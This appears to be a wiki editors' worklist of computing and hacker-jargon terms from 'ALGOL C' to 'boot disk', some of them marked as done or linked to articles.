ALGOL C&lt;br&gt;
ALGOL D&lt;br&gt;
ALGOL N&lt;br&gt;
ALGOL W&lt;br&gt;
ALGOL X&lt;br&gt;
ALGOL Y&lt;br&gt;
algorithim&lt;br&gt;
algorithm&lt;br&gt;
ALgorithm DEScription&lt;br&gt;
ALgorIthmic ASsembly language&lt;br&gt;
Algorithmic Language&lt;br&gt;
Algorithmic Model&lt;br&gt;
Algorithmic Processor Description Language&lt;br&gt;
Algorithmic Test Case Generation&lt;br&gt;
ALGY&lt;br&gt;
ALIAS&lt;br&gt;
alias&lt;br&gt;
aliasing&lt;br&gt;
aliasing bug&lt;br&gt;
Alice&lt;br&gt;
alife&lt;br&gt;
A-Life&lt;br&gt;
ALJABR&lt;br&gt;
Allegro&lt;br&gt;
all-elbows&lt;br&gt;
ALLIANCE&lt;br&gt;
ALLOY&lt;br&gt;
ALM&lt;br&gt;
Aloha '''DONE''' (same as below)&lt;br&gt;
[[ALOHAnet|Aloha Net]] '''DONE'''&lt;br&gt;
Alonzo Church&lt;br&gt;
ALP&lt;br&gt;
ALPAK&lt;br&gt;
ALPHA&lt;br&gt;
Alpha&lt;br&gt;
Alpha AXP 21164&lt;br&gt;
alpha/beta pruning&lt;br&gt;
alpha conversion&lt;br&gt;
Alpha EV6&lt;br&gt;
Alpha Geek&lt;br&gt;
alphanumeric&lt;br&gt;
alpha particle&lt;br&gt;
Alphard&lt;br&gt;
alpha testing&lt;br&gt;
ALPS&lt;br&gt;
alt&lt;br&gt;
ALTAC&lt;br&gt;
Altair 8800&lt;br&gt;
Altair 9000&lt;br&gt;
Alta Vista&lt;br&gt;
alt bit&lt;br&gt;
Alternating bit protocol&lt;br&gt;
altmode&lt;br&gt;
ALTRAN&lt;br&gt;
alt.sources&lt;br&gt;
ALU&lt;br&gt;
Aluminum Book&lt;br&gt;
Alvey&lt;br&gt;
AM&lt;br&gt;
am&lt;br&gt;
Amanda&lt;br&gt;
A Manufacturing Language&lt;br&gt;
amateur packet radio&lt;br&gt;
Amber&lt;br&gt;
AMBIT&lt;br&gt;
AMBIT/G&lt;br&gt;
AMBIT/L&lt;br&gt;
AMBIT/S&lt;br&gt;
AMBUSH&lt;br&gt;
AMD&lt;br&gt;
AMD 29000&lt;br&gt;
AMD 29027&lt;br&gt;
Amdahl&lt;br&gt;
Amdahl Corporation&lt;br&gt;
Amdahl's Law&lt;br&gt;
AMD Am2901&lt;br&gt;
AMD Am2903&lt;br&gt;
AMD Am2910&lt;br&gt;
AMD K7&lt;br&gt;
American National Standard&lt;br&gt;
American National Standards Institute&lt;br&gt;
American Society of Mechanical Engineers&lt;br&gt;
American Standard Code for Information Interchange '''DONE''' -- redirects to ASCII&lt;br&gt;
American Telephone and Telegraph, Inc.&lt;br&gt;
American Wire Gauge&lt;br&gt;
America On-Line, Inc.&lt;br&gt;
America's Multimedia Online&lt;br&gt;
AMI&lt;br&gt;
Amiga&lt;br&gt;
Amiga E&lt;br&gt;
Aminet&lt;br&gt;
AML&lt;br&gt;
AML/E&lt;br&gt;
AMO&lt;br&gt;
Amoeba&lt;br&gt;
AMP&lt;br&gt;
amper&lt;br&gt;
ampersand&lt;br&gt;
AMPL&lt;br&gt;
[[AMPLE]] '''DONE'''&lt;br&gt;
Amplitude Modulation&lt;br&gt;
amp off&lt;br&gt;
AMPPL-II&lt;br&gt;
AMS&lt;br&gt;
AMTRAN&lt;br&gt;
Amulet&lt;br&gt;
an&lt;br&gt;
analog&lt;br&gt;
Analog Hardware Design Language&lt;br&gt;
analogue&lt;br&gt;
analogue computer&lt;br&gt;
Analogy Model&lt;br&gt;
Analytical Engine&lt;br&gt;
Analytical Machine&lt;br&gt;
anchor&lt;br&gt;
ANCP&lt;br&gt;
AND&lt;br&gt;
ANDF&lt;br&gt;
Andorra-I&lt;br&gt;
Andorra Kernel Language&lt;br&gt;
Andorra-Prolog&lt;br&gt;
Andrei Markov&lt;br&gt;
Andrew File System&lt;br&gt;
Andrew Fluegelman&lt;br&gt;
Andrew Message System&lt;br&gt;
Andrew Project&lt;br&gt;
Andrew S. Tanenbaum&lt;br&gt;
Andrew Tanenbaum&lt;br&gt;
Andrew Toolkit&lt;br&gt;
Andy Tanenbaum&lt;br&gt;
An Evolutionary System for On-line Programming&lt;br&gt;
Angel&lt;br&gt;
angle bracket&lt;br&gt;
angry fruit salad&lt;br&gt;
ANI&lt;br&gt;
Animated GIF&lt;br&gt;
animation&lt;br&gt;
Animus&lt;br&gt;
ANL&lt;br&gt;
Anna&lt;br&gt;
annealing&lt;br&gt;
annotate&lt;br&gt;
ANNotated Ada&lt;br&gt;
annotation&lt;br&gt;
annoybot&lt;br&gt;
annoyware&lt;br&gt;
Annual Change Traffic&lt;br&gt;
annulled branch&lt;br&gt;
anonymous FTP&lt;br&gt;
ANother Tool for Language Recognition&lt;br&gt;
ANR&lt;br&gt;
ANS&lt;br&gt;
ANSA&lt;br&gt;
ANSI&lt;br&gt;
ANSI C&lt;br&gt;
ANSI Minimal BASIC&lt;br&gt;
ANSI/SPARC&lt;br&gt;
ANSI/SPARC Architecture&lt;br&gt;
ANSI/SPARC model&lt;br&gt;
ANSI X12&lt;br&gt;
ANSI Z39.50&lt;br&gt;
Anthony Hoare&lt;br&gt;
anti-aliasing&lt;br&gt;
antichain&lt;br&gt;
antisymmetric&lt;br&gt;
antivirus software&lt;br&gt;
ANTLR&lt;br&gt;
ANU&lt;br&gt;
ANU ML&lt;br&gt;
anytime algorithm&lt;br&gt;
ao&lt;br&gt;
AOCE&lt;br&gt;
AOL&lt;br&gt;
AOP&lt;br&gt;
AOS&lt;br&gt;
APA&lt;br&gt;
Apache&lt;br&gt;
APAL&lt;br&gt;
APAREL&lt;br&gt;
A PArse REquest Language&lt;br&gt;
APC&lt;br&gt;
APDL&lt;br&gt;
apE&lt;br&gt;
API&lt;br&gt;
APIC&lt;br&gt;
APL&lt;br&gt;
APL2&lt;br&gt;
APLGOL&lt;br&gt;
APLWEB&lt;br&gt;
APM -- '''DONE'''&lt;br&gt;
Apollo Computer&lt;br&gt;
apostrophe&lt;br&gt;
app&lt;br&gt;
APPC&lt;br&gt;
AppKit&lt;br&gt;
APPLE&lt;br&gt;
Apple Attachment Unit Interface&lt;br&gt;
Apple Computer, Inc.&lt;br&gt;
Apple II&lt;br&gt;
Apple Macintosh&lt;br&gt;
Apple Newton&lt;br&gt;
Apple Open Collaboration Environment&lt;br&gt;
AppleScript&lt;br&gt;
Applesoft BASIC&lt;br&gt;
applet&lt;br&gt;
Appletalk&lt;br&gt;
AppleTalk Data Stream Protocol&lt;br&gt;
AppleTalk Filing Protocol&lt;br&gt;
application&lt;br&gt;
Application Binary Interface&lt;br&gt;
Application Configuration Access Protocol&lt;br&gt;
Application Control Architecture&lt;br&gt;
application enablement services&lt;br&gt;
Application environment specification&lt;br&gt;
Application Executive&lt;br&gt;
Application Integration Architecture&lt;br&gt;
application layer&lt;br&gt;
Application Portability Architecture&lt;br&gt;
application program&lt;br&gt;
Application Program Interface&lt;br&gt;
Application Programming Interface&lt;br&gt;
Application Protocol Data Unit&lt;br&gt;
application server&lt;br&gt;
Application Service Element&lt;br&gt;
application service provider&lt;br&gt;
applications language&lt;br&gt;
application software&lt;br&gt;
Application Software Installation Server&lt;br&gt;
Application-Specific Integrated Circuit&lt;br&gt;
Applications Programming Interface&lt;br&gt;
applications software&lt;br&gt;
Application Visualisation System&lt;br&gt;
applicative language&lt;br&gt;
Applicative Language for Digital Signal Processing&lt;br&gt;
applicative order reduction&lt;br&gt;
APPLOG&lt;br&gt;
APPN&lt;br&gt;
approximation algorithm&lt;br&gt;
April Fool's Joke&lt;br&gt;
A Programming Language&lt;br&gt;
APSE&lt;br&gt;
APT&lt;br&gt;
APX III&lt;br&gt;
aq&lt;br&gt;
AQL&lt;br&gt;
ar&lt;br&gt;
arbitrary precision calculator&lt;br&gt;
ARC&lt;br&gt;
arc&lt;br&gt;
Arcade&lt;br&gt;
ArchBSD&lt;br&gt;
Archie&lt;br&gt;
Archimedes&lt;br&gt;
architecture&lt;br&gt;
Architecture Neutral Distribution Format&lt;br&gt;
archive&lt;br&gt;
archive site&lt;br&gt;
[[ARCnet]] '''DONE'''&lt;br&gt;
ARCS&lt;br&gt;
Arctic&lt;br&gt;
arena&lt;br&gt;
ARES&lt;br&gt;
AREV&lt;br&gt;
AREXX&lt;br&gt;
arg&lt;br&gt;
argument&lt;br&gt;
Argus&lt;br&gt;
Ariel&lt;br&gt;
ARI Service&lt;br&gt;
ARITH-MATIC&lt;br&gt;
Arithmetic and Logic Unit&lt;br&gt;
arity&lt;br&gt;
arj&lt;br&gt;
Arjuna&lt;br&gt;
ARL&lt;br&gt;
[[ARM Ltd|ARM]] '''DONE'''&lt;br&gt;
ARM610&lt;br&gt;
ARM7&lt;br&gt;
ARM710&lt;br&gt;
ARM7500&lt;br&gt;
ARM8&lt;br&gt;
ARM800&lt;br&gt;
ARM Ltd&lt;br&gt;
ARMM&lt;br&gt;
armour-plated&lt;br&gt;
ARP&lt;br&gt;
ARPA&lt;br&gt;
ARPANET&lt;br&gt;
ARQ&lt;br&gt;
array&lt;br&gt;
array processor&lt;br&gt;
Array Processor Assembly Language&lt;br&gt;
Array Theory&lt;br&gt;
arrow key&lt;br&gt;
ART&lt;br&gt;
Artemis microkernel&lt;br&gt;
Artifex&lt;br&gt;
artificial intelligence&lt;br&gt;
Artificial Intelligence Lab&lt;br&gt;
Artificial Life&lt;br&gt;
artificial neural network&lt;br&gt;
Artisoft, Inc.&lt;br&gt;
Artistic license&lt;br&gt;
ARTSPEAK&lt;br&gt;
AS&lt;br&gt;
as&lt;br&gt;
as31&lt;br&gt;
AS400&lt;br&gt;
AS/400&lt;br&gt;
ASA&lt;br&gt;
asap&lt;br&gt;
asbestos&lt;br&gt;
asbestos cork award&lt;br&gt;
asbestos longjohns&lt;br&gt;
ascender&lt;br&gt;
ASCII&lt;br&gt;
ASCII art&lt;br&gt;
ASCIIbetical order&lt;br&gt;
ASCIIbonics&lt;br&gt;
ASCII character table&lt;br&gt;
ASCII graphics&lt;br&gt;
ASDIMPL&lt;br&gt;
ASDL&lt;br&gt;
ASDO IMPlementation Language&lt;br&gt;
ASE&lt;br&gt;
A* search&lt;br&gt;
ASF&lt;br&gt;
ash&lt;br&gt;
Ashmedai&lt;br&gt;
Ashton-Tate Corporation&lt;br&gt;
ASIC&lt;br&gt;
A Simulation Process-Oriented Language&lt;br&gt;
ASIS&lt;br&gt;
ASK&lt;br&gt;
ASL&lt;br&gt;
ASL+&lt;br&gt;
ASM&lt;br&gt;
ASME&lt;br&gt;
ASN&lt;br&gt;
ASN.1&lt;br&gt;
ASP&lt;br&gt;
ASPECT&lt;br&gt;
ASpecT&lt;br&gt;
aspect&lt;br&gt;
aspect-oriented programming&lt;br&gt;
aspect ratio&lt;br&gt;
ASPEN&lt;br&gt;
ASPI&lt;br&gt;
ASPIK&lt;br&gt;
Aspirin&lt;br&gt;
ASPLE&lt;br&gt;
ASPOL&lt;br&gt;
ASQC&lt;br&gt;
ASR&lt;br&gt;
assembler&lt;br&gt;
ASSEMBLY&lt;br&gt;
assembly code&lt;br&gt;
Assembly Language&lt;br&gt;
assembly language&lt;br&gt;
Assembly Language Compiler&lt;br&gt;
Assembly Language for Multics&lt;br&gt;
assertion&lt;br&gt;
ASSET&lt;br&gt;
asset management&lt;br&gt;
Asset Source for Software Engineering Technology&lt;br&gt;
assigned numbers&lt;br&gt;
assignment&lt;br&gt;
assignment problem - NO IMPORT, [[assignment problem]] is now written from scratch&lt;br&gt;.
Association Control Service Element&lt;br&gt;
Association for Computational Linguistics&lt;br&gt;
Association for Computing&lt;br&gt;
Association for Computing Machinery&lt;br&gt;
Association for Progressive Communications&lt;br&gt;
Association for SIMULA Users&lt;br&gt;
Association Française des Utilisateurs d'Unix&lt;br&gt;
Association of American Publishers&lt;br&gt;
Association of C and C++ Users&lt;br&gt;
Association of Lisp Users&lt;br&gt;
associative array&lt;br&gt;
associative memory&lt;br&gt;
Associative Memory Parallel Processing Language&lt;br&gt;
AST&lt;br&gt;
ASTAP&lt;br&gt;
AST Computers, LLC&lt;br&gt;
asterisk&lt;br&gt;
asterix&lt;br&gt;
Astral&lt;br&gt;
AST Research, Inc.&lt;br&gt;
asymmetrical modulation&lt;br&gt;
Asymmetric Digital Subscriber Line&lt;br&gt;
Asymmetric Digital Subscriber Loop&lt;br&gt;
asynchronous&lt;br&gt;
Asynchronous Balanced Mode&lt;br&gt;
Asynchronous Communications Interface Adapter&lt;br&gt;
asynchronous logic&lt;br&gt;
Asynchronous Transfer Mode&lt;br&gt;
asyncronous&lt;br&gt;
AT '''DONE'''&lt;br&gt;
at&lt;br&gt;
AT-3&lt;br&gt;
ATA&lt;br&gt;
ATA-2&lt;br&gt;
ATA-4&lt;br&gt;
ATAPI&lt;br&gt;
[[Atari]] '''DONE'''&lt;br&gt;
AT Attachment&lt;br&gt;
AT Attachment Packet Interface&lt;br&gt;
AT bus architecture -- '''DONE'''&lt;br&gt;
AtFS&lt;br&gt;
Athena&lt;br&gt;
Atherton Technology&lt;br&gt;
Athlon&lt;br&gt;
ATIS&lt;br&gt;
ATK&lt;br&gt;
ATLAS&lt;br&gt;
Atlas Autocode&lt;br&gt;
ATM&lt;br&gt;
ATM Forum&lt;br&gt;
ATMP&lt;br&gt;
atob&lt;br&gt;
ATOLL&lt;br&gt;
atomic&lt;br&gt;
A Tools Integration Standard&lt;br&gt;
ATRAC&lt;br&gt;
ATS&lt;br&gt;
at sign&lt;br&gt;
AT&amp;T&lt;br&gt;
Attachment Unit Interface&lt;br&gt;
AT&amp;T Bell Labs&lt;br&gt;
atto-&lt;br&gt;
attoparsec&lt;br&gt;
attribute&lt;br&gt;
Attributed File System&lt;br&gt;
Attribute Translation System&lt;br&gt;
ATX&lt;br&gt;
au&lt;br&gt;
aubergine&lt;br&gt;
audio&lt;br&gt;
audiographics&lt;br&gt;
audiographic teleconferencing&lt;br&gt;
Audio IFF&lt;br&gt;
AudioOne&lt;br&gt;
Audio Processing Technology&lt;br&gt;
Audio Video Interleave&lt;br&gt;
Augumented Backus-Naur Form&lt;br&gt;
AUI&lt;br&gt;
A'UM&lt;br&gt;
AUP&lt;br&gt;
Aurora&lt;br&gt;
Austin Kyoto Common Lisp&lt;br&gt;
authentication&lt;br&gt;
authoring&lt;br&gt;
autobaud&lt;br&gt;
autobogotiphobia&lt;br&gt;
AutoCAD&lt;br&gt;
Autocode&lt;br&gt;
AUTOCODER&lt;br&gt;
Autodesk, Inc.&lt;br&gt;
AUTOEXEC.BAT&lt;br&gt;
AUTOGRAF&lt;br&gt;
AUTOGRP&lt;br&gt;
Auto Idle&lt;br&gt;
AutoLISP -- '''DONE'''&lt;br&gt;
autoloader&lt;br&gt;
automagically&lt;br&gt;
automata&lt;br&gt;
automata theory&lt;br&gt;
Automated Engineering Design&lt;br&gt;
AUTOmated GRouPing system&lt;br&gt;
Automated Retroactive Minimal Moderation&lt;br&gt;
automated testing&lt;br&gt;
AUTOMATH&lt;br&gt;
Automatically Programmed Tools&lt;br&gt;
automatic baud rate detection&lt;br&gt;
automatic hyphenation&lt;br&gt;
Automatic Mathematical TRANslation&lt;br&gt;
Automatic Network Routing&lt;br&gt;
Automatic Number Identification&lt;br&gt;
Automatic Repeat Request&lt;br&gt;
Automatic Send Receive&lt;br&gt;
Automatic Sequence Controlled Calculator&lt;br&gt;
automation&lt;br&gt;
Automatische Rechenplanfertigung&lt;br&gt;
automaton&lt;br&gt;
Automatrix, Inc.&lt;br&gt;
Autonomous System&lt;br&gt;
Autonomous System Number&lt;br&gt;
Autopass&lt;br&gt;
autoprojector&lt;br&gt;
AUTO-PROMPT&lt;br&gt;
Autostat&lt;br&gt;
autostereogram&lt;br&gt;
A/UX&lt;br&gt;
auxiliary storage&lt;br&gt;
av&lt;br&gt;
availability&lt;br&gt;
Avalon/C++&lt;br&gt;
Avalon/Common LISP&lt;br&gt;
avatar&lt;br&gt;
average seek time&lt;br&gt;
AVI&lt;br&gt;
Avon&lt;br&gt;
AVS&lt;br&gt;
aw&lt;br&gt;
AWE&lt;br&gt;
AWG&lt;br&gt;
awk&lt;br&gt;
AWT&lt;br&gt;
aXe&lt;br&gt;
AXIOM&lt;br&gt;
axiom&lt;br&gt;
AXIOM*&lt;br&gt;
Axiomatic Architecture Description Language&lt;br&gt;
axiomatic semantics&lt;br&gt;
axiomatic set theory&lt;br&gt;
Axiom of Choice&lt;br&gt;
Axiom of Comprehension&lt;br&gt;
AXLE&lt;br&gt;
ayacc&lt;br&gt;
AYT&lt;br&gt;
az&lt;br&gt;
AZERTY&lt;br&gt;
B&lt;br&gt;
b&lt;br&gt;
B-0&lt;br&gt;
B1FF&lt;br&gt;
B1 security&lt;br&gt;
B2B&lt;br&gt;
B2 security&lt;br&gt;
B3 security&lt;br&gt;
b4&lt;br&gt;
ba&lt;br&gt;
Baan&lt;br&gt;
Babbage&lt;br&gt;
]Babbage, Charles&lt;br&gt;
babbling error&lt;br&gt;
BABEL&lt;br&gt;
BABT&lt;br&gt;
Baby AT&lt;br&gt;
BABYLON&lt;br&gt;
BACAIC&lt;br&gt;
Bachman&lt;br&gt;
Bachman Information Systems&lt;br&gt;
backbone&lt;br&gt;
backbone cabal&lt;br&gt;
backbone site&lt;br&gt;
back door&lt;br&gt;
back-end&lt;br&gt;
Back End Generator&lt;br&gt;
Back End Generator Language&lt;br&gt;
backgammon&lt;br&gt;
background&lt;br&gt;
backing store&lt;br&gt;
back link&lt;br&gt;
backoff&lt;br&gt;
BackOffice&lt;br&gt;
back-propagation&lt;br&gt;
back quote&lt;br&gt;
backside cache&lt;br&gt;
backslash&lt;br&gt;
backtick&lt;br&gt;
backtracking&lt;br&gt;
backup&lt;br&gt;
backup pumpkin&lt;br&gt;
Backus-Naur Form&lt;br&gt;
Backus Normal Form&lt;br&gt;
backward analysis&lt;br&gt;
backward chaining&lt;br&gt;
backward combatability&lt;br&gt;
backward compatible&lt;br&gt;
backwards compatibility&lt;br&gt;
backwards compatible&lt;br&gt;
BAD&lt;br&gt;
Bad command or file name&lt;br&gt;
Bad Thing&lt;br&gt;
bag on the side&lt;br&gt;
BAL&lt;br&gt;
balanced computing&lt;br&gt;
balanced tree&lt;br&gt;
BALGOL&lt;br&gt;
BALITAC&lt;br&gt;
BALM&lt;br&gt;
balun&lt;br&gt;
bamf&lt;br&gt;
Banach algebra&lt;br&gt;
Banach inverse mapping theorem&lt;br&gt;
Banach space&lt;br&gt;
Banach-Tarski paradox&lt;br&gt;
banana label&lt;br&gt;
banana problem&lt;br&gt;
bandwidth&lt;br&gt;
bang&lt;br&gt;
bang on&lt;br&gt;
bang path&lt;br&gt;
banner&lt;br&gt;
Banyan&lt;br&gt;
BAP&lt;br&gt;
BAPI&lt;br&gt;
bar&lt;br&gt;
bar code&lt;br&gt;
bare metal&lt;br&gt;
barf&lt;br&gt;
barfmail&lt;br&gt;
barfulation&lt;br&gt;
barfulous&lt;br&gt;
barney&lt;br&gt;
Baroque&lt;br&gt;
baroque&lt;br&gt;
[[barrel shifter]] -- '''DONE'''&lt;br&gt;
base&lt;br&gt;
base 64&lt;br&gt;
baseband&lt;br&gt;
base class&lt;br&gt;
baseline&lt;br&gt;
base memory&lt;br&gt;
basename&lt;br&gt;
Base Technology&lt;br&gt;
bash&lt;br&gt;
BASIC&lt;br&gt;
Basic Assembly Language&lt;br&gt;
BASIC AUTOCODER&lt;br&gt;
Basic COBOL&lt;br&gt;
Basic Encoding Rules&lt;br&gt;
Basic Fortran&lt;br&gt;
Basic Input/Output System&lt;br&gt;
Basic JOVIAL&lt;br&gt;
Basic Language for Implementation of System Software&lt;br&gt;
Basic Multilingual Plane&lt;br&gt;
Basic Object System&lt;br&gt;
Basic Operating System&lt;br&gt;
Basic Programming Support&lt;br&gt;
Basic Rate Interface&lt;br&gt;
BASIC V&lt;br&gt;
Bastard Operator From Hell&lt;br&gt;
bastion host&lt;br&gt;
batch file&lt;br&gt;
batch processing&lt;br&gt;
bathtub curve&lt;br&gt;
baud&lt;br&gt;
baud barf&lt;br&gt;
Baudot&lt;br&gt;
Baudotbetical order&lt;br&gt;
Baudot code&lt;br&gt;
baud rate&lt;br&gt;
bawk&lt;br&gt;
bay&lt;br&gt;
baz&lt;br&gt;
bb&lt;br&gt;
BBC&lt;br&gt;
BBC Microcomputer&lt;br&gt;
BBC Networking Club&lt;br&gt;
BBL&lt;br&gt;
BBN&lt;br&gt;
bboard&lt;br&gt;
BBS&lt;br&gt;
BC&lt;br&gt;
BCBF&lt;br&gt;
BCC&lt;br&gt;
BCD&lt;br&gt;
BCL&lt;br&gt;
BC NELIAC&lt;br&gt;
BCNU&lt;br&gt;
BCPL&lt;br&gt;
BCS&lt;br&gt;
bd&lt;br&gt;
BDC&lt;br&gt;
BDL&lt;br&gt;
BDPA&lt;br&gt;
be&lt;br&gt;
BEA&lt;br&gt;
beam&lt;br&gt;
beamer&lt;br&gt;
beam search&lt;br&gt;
bean&lt;br&gt;
beanie key&lt;br&gt;
bearer channel&lt;br&gt;
bear paw&lt;br&gt;
Beats the shit outa me&lt;br&gt;
BeBOP&lt;br&gt;
BeBox&lt;br&gt;
BEDO&lt;br&gt;
Bedrock&lt;br&gt;
beep&lt;br&gt;
beeper&lt;br&gt;
BEG&lt;br&gt;
@Begin&lt;br&gt;
 egin&lt;br&gt;
BEGL&lt;br&gt;
beige toaster&lt;br&gt;
Be Inc&lt;br&gt;
BEL&lt;br&gt;
belief revision&lt;br&gt;
BELL&lt;br&gt;
Bell&lt;br&gt;
bell&lt;br&gt;
Bell 103&lt;br&gt;
Bell Communications Research, Inc&lt;br&gt;
Bellcore&lt;br&gt;
bell curve&lt;br&gt;
Bell Laboratories&lt;br&gt;
Bell Labs&lt;br&gt;
bells and whistles&lt;br&gt;
bells, whistles, and gongs&lt;br&gt;
benchmark&lt;br&gt;
Bend Over, Here It Comes Again&lt;br&gt;
Benoit B. Mandelbrot&lt;br&gt;
Benoit Mandelbrot&lt;br&gt;
Bentley Systems, Inc.&lt;br&gt;
BeOS&lt;br&gt;
BER&lt;br&gt;
Berkeley&lt;br&gt;
Berkeley 4.2&lt;br&gt;
Berkeley EDIF200&lt;br&gt;
Berkeley FP&lt;br&gt;
Berkeley Internet Name Domain&lt;br&gt;
Berkeley Logo&lt;br&gt;
Berkeley Network&lt;br&gt;
Berkeley Quality Software&lt;br&gt;
Berkeley Software Design, Inc&lt;br&gt;
Berkeley Softworks&lt;br&gt;
Berkeley System Distribution&lt;br&gt;
Berkeley Unix&lt;br&gt;
Berkeley Yacc&lt;br&gt;
berklix&lt;br&gt;
Berners-Lee, Tim&lt;br&gt;
Bernoulli Box&lt;br&gt;
Bernoulli principle&lt;br&gt;
Bernstein condition&lt;br&gt;
BERR&lt;br&gt;
Bertrand&lt;br&gt;
Bertrand Meyer&lt;br&gt;
Bertrand Russell&lt;br&gt;
Berzerkeley&lt;br&gt;
Berzerkley&lt;br&gt;
best effort&lt;br&gt;
best first search&lt;br&gt;
Best Fit&lt;br&gt;
BETA&lt;br&gt;
beta&lt;br&gt;
beta abstraction&lt;br&gt;
beta conversion&lt;br&gt;
Betamaxed&lt;br&gt;
beta reduction&lt;br&gt;
beta testing&lt;br&gt;
beta version&lt;br&gt;
Bezier&lt;br&gt;
Bezier curve&lt;br&gt;
Bezier surface&lt;br&gt;
bf&lt;br&gt;
BFI&lt;br&gt;
bg&lt;br&gt;
bgh&lt;br&gt;
BGP&lt;br&gt;
bh&lt;br&gt;
BHC Code&lt;br&gt;
bi&lt;br&gt;
bib&lt;br&gt;
bible&lt;br&gt;
BIBOP&lt;br&gt;
BibTeX&lt;br&gt;
BiCapitalisation&lt;br&gt;
BiCMOS&lt;br&gt;
bidirectional printing&lt;br&gt;
Bidouilleurs Sans Argent&lt;br&gt;
bi-endian&lt;br&gt;
BIFF&lt;br&gt;
biff&lt;br&gt;
 ig&lt;br&gt;
Big bag of pages&lt;br&gt;
big blue&lt;br&gt;
big-endian&lt;br&gt;
Big Gray Wall&lt;br&gt;
big iron&lt;br&gt;
BIG-LAN&lt;br&gt;
Bigloo&lt;br&gt;
bignum&lt;br&gt;
bigot&lt;br&gt;
Big Red Switch&lt;br&gt;
Big Room&lt;br&gt;
big win&lt;br&gt;
bijection&lt;br&gt;
Bill Gates&lt;br&gt;
Bill Joy&lt;br&gt;
binaries&lt;br&gt;
binary&lt;br&gt;
Binary Coded Decimal&lt;br&gt;
Binary Compatibility Standard&lt;br&gt;
binary counter&lt;br&gt;
binary exponential backoff&lt;br&gt;
binary file&lt;br&gt;
binary large object&lt;br&gt;
binary package&lt;br&gt;
binary search&lt;br&gt;
Binary Synchronous Transmission -- '''DONE'''&lt;br&gt;
binary tree&lt;br&gt;
BIND&lt;br&gt;
bindery&lt;br&gt;
binding handle&lt;br&gt;
binding-time analysis&lt;br&gt;
BinHex&lt;br&gt;
Binhex 4.0&lt;br&gt;
BinProlog&lt;br&gt;
BIOR&lt;br&gt;
BIOS&lt;br&gt;
BIP&lt;br&gt;
bipartite graph&lt;br&gt;
bipolar&lt;br&gt;
bipolar transistor&lt;br&gt;
BIPS&lt;br&gt;
Bird-Meertens Formalism&lt;br&gt;
Birds Of a Feather&lt;br&gt;
BISDN&lt;br&gt;
Bison&lt;br&gt;
Bison++&lt;br&gt;
BIST&lt;br&gt;
bisync&lt;br&gt;
bit&lt;br&gt;
bit bang&lt;br&gt;
bit bashing&lt;br&gt;
bitblt&lt;br&gt;
bit bucket&lt;br&gt;
bit decay&lt;br&gt;
bit diddling&lt;br&gt;
bite&lt;br&gt;
bitmap&lt;br&gt;
bitmap display&lt;br&gt;
bitmap font&lt;br&gt;
bitmapped display&lt;br&gt;
bit mask&lt;br&gt;
BITNET&lt;br&gt;
bitonal image&lt;br&gt;
bit-paired keyboard&lt;br&gt;
bit pattern&lt;br&gt;
bit plane&lt;br&gt;
bit-robbing&lt;br&gt;
bit rot&lt;br&gt;
bit slice&lt;br&gt;
bits per inch&lt;br&gt;
bits per pixel&lt;br&gt;
bits per second&lt;br&gt;
bit string&lt;br&gt;
bit stuffing&lt;br&gt;
bit twiddling&lt;br&gt;
bitty box&lt;br&gt;
bitwise&lt;br&gt;
bitwise complement&lt;br&gt;
bixie&lt;br&gt;
bj&lt;br&gt;
Bjarne Stroustrup&lt;br&gt;
BJC4000&lt;br&gt;
black art&lt;br&gt;
black box&lt;br&gt;
black-box testing&lt;br&gt;
Black Data Processing Associates&lt;br&gt;
black hole&lt;br&gt;
black magic&lt;br&gt;
blargh&lt;br&gt;
blast&lt;br&gt;
blat&lt;br&gt;
BLAZE&lt;br&gt;
BLAZE 2&lt;br&gt;
bleam&lt;br&gt;
bleeper&lt;br&gt;
bletcherous&lt;br&gt;
Bletchley Park&lt;br&gt;
Blind Carbon Copy&lt;br&gt;
B-LINE&lt;br&gt;
blinkenlights&lt;br&gt;
BLISS&lt;br&gt;
BLISS-10&lt;br&gt;
BLISS-11&lt;br&gt;
BLISS-32&lt;br&gt;
blit&lt;br&gt;
blitter&lt;br&gt;
blivet&lt;br&gt;
bloat&lt;br&gt;
bloatware&lt;br&gt;
BLOB&lt;br&gt;
block&lt;br&gt;
Block Diagram Compiler&lt;br&gt;
blocked records&lt;br&gt;
Block Redundancy Check&lt;br&gt;
Block Started by Symbol&lt;br&gt;
block transfer computations&lt;br&gt;
Bloggs Family, the&lt;br&gt;
Blosim&lt;br&gt;
blow an EPROM&lt;br&gt;
blow away&lt;br&gt;
blowing your buffer&lt;br&gt;
blow out&lt;br&gt;
blow past&lt;br&gt;
blow up&lt;br&gt;
BLOX&lt;br&gt;
BLT&lt;br&gt;
Blue&lt;br&gt;
Blue Book&lt;br&gt;
Blue Box&lt;br&gt;
Blue Glue&lt;br&gt;
Blue Screen of Death&lt;br&gt;
Blue Screen of Life&lt;br&gt;
Blue Sky Software&lt;br&gt;
Bluetooth &lt;br&gt;
blue wire&lt;br&gt;
blurgle&lt;br&gt;
bm&lt;br&gt;
BMAN&lt;br&gt;
BMASF&lt;br&gt;
BMDP&lt;br&gt;
B-Method&lt;br&gt;
BMF&lt;br&gt;
BMP&lt;br&gt;
bmp&lt;br&gt;
BMWF&lt;br&gt;
bn&lt;br&gt;
BNC&lt;br&gt;
BNF&lt;br&gt;
BNR Pascal&lt;br&gt;
BNR Prolog&lt;br&gt;
bo&lt;br&gt;
boa&lt;br&gt;
board&lt;br&gt;
boat anchor&lt;br&gt;
Bob&lt;br&gt;
Bobo the Webmonkey&lt;br&gt;
BOCS&lt;br&gt;
Boehm B.&lt;br&gt;
BOEING&lt;br&gt;
BOF&lt;br&gt;
BOFH&lt;br&gt;
bogometer&lt;br&gt;
BogoMips&lt;br&gt;
bogon&lt;br&gt;
bogon filter&lt;br&gt;
bogon flux&lt;br&gt;
bogosity&lt;br&gt;
bogo-sort&lt;br&gt;
bogotify&lt;br&gt;
bogue out&lt;br&gt;
bogus&lt;br&gt;
BOHICA&lt;br&gt;
Bohr bug&lt;br&gt;
boink&lt;br&gt;
BOLERO&lt;br&gt;
Bolt, Beranek and Newman, Inc.&lt;br&gt;
bomb&lt;br&gt;
bon&lt;br&gt;
bondage-and-discipline language&lt;br&gt;
bonk/oif&lt;br&gt;
Booch method -- '''DONE'''&lt;br&gt;
bookmark&lt;br&gt;
Bookreader&lt;br&gt;
book titles&lt;br&gt;
Bookviewer&lt;br&gt;
bool&lt;br&gt;
Boolean&lt;br&gt;
Boolean algebra&lt;br&gt;
Boolean logic&lt;br&gt;
Boolean search&lt;br&gt;
Boole, George&lt;br&gt;
Booster&lt;br&gt;
boot&lt;br&gt;
boot block&lt;br&gt;
boot disk&lt;br&gt;
